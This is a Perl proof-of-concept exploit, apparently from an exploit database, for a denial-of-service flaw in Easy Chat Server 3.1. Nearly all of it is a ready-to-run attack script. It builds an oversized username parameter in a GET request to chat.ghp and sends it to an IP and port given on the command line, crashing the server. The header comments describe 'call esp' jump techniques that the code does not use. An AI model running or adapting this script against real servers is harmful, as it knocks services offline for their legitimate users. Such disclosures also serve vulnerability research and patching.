#!/usr/bin/perl use Net::FTP; # Exploit Title: Easy Chat Server 3.1 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 05 january 2024 # Vendor Homepage: N/A # Download to demo: https://drive.google.com/file/d/1ZbfeaWSEKlpvCG1eUtD0vNnfkNz_8PlE/view # Notification vendor: No reported # Tested Version:Easy Chat Server 3.1 # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) # Vídeo: https://drive.google.com/file/d/1rG6uTXTg3cTg86qmp9rh2ozQfyOV_Av7/view #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The server did not properly handle request with large amounts of data via method GET to web server. #The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "[+] Exploiting... \n"; my $payload = "\x90" x 16; $payload = "\x41"x568; my $buffer = "GET /chat.ghp?username=" . $payload . "&password=&room=2 HTTP/1.1\r\n"; $buffer .= "User-Agent: Internet Explorer/4.0\r\n"; $buffer .= "Host: $ip:$port\r\n"; $buffer .= "Referer: http://$ip\r\n"; $buffer .= "Connection: Keep-Alive\r\n\r\n"; print("[+] Exploiting...\n"); my $socket = IO::Socket::INET->new( PeerAddr => $ip, PeerPort => $port, Proto => 'tcp', ) or die "Could not connect! Error: $!\n"; $socket->send($buffer); close($socket); print "[+] Done - Exploited success!!!!!\n\n"; sub intro { print "#################################################################\n"; print "# Easy Chat Server 3.1 - Denied of Service #\n"; print "# #\n"; print "# Coded by Fernando Mengali #\n"; print "# #\n"; print "# e-mail: fernando.mengalli\@gmail.com #\n"; print "# #\n"; print "#################################################################\n"; } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print " \nUsage: $0 <ip> <port> \n"; exit(-1); } } #3. Solution/ How to fix: # This version product is deprecated